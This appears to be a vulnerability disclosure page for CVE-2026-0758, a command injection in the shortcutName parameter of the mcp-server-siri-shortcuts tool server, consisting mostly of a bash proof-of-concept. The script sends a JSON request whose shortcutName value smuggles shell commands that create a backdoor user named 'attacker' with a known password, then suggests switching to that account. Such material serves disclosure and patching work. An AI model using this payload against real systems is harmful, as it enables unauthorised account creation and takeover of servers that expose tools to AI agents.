CVE-2026-0758: mcp-server-siri-shortcuts shortcutName命令注入权限提升漏洞

#!/bin/bash # CVE-2026-0758 PoC - Command Injection in shortcutName parameter # This PoC demonstrates the command injection vulnerability in mcp-server-siri-shortcuts # Target: mcp-server-siri-shortcuts service TARGET_HOST="localhost" TARGET_PORT="8080" # Malicious payload - injects command to create a backdoor user # The shortcutName parameter is vulnerable to command injection PAYLOAD="test'; useradd -m -s /bin/bash attacker; echo 'attacker:password' | chpasswd; #" # Send malicious request to trigger command injection echo "Sending exploit payload..." curl -X POST "http://${TARGET_HOST}:${TARGET_PORT}/api/shortcuts" \ -H "Content-Type: application/json" \ -d "{\"shortcutName\": \"${PAYLOAD}\", \"action\": \"execute\"}" echo "" echo "If exploitation successful, a new user 'attacker' has been created." echo "Attacker can now escalate privileges using: su - attacker"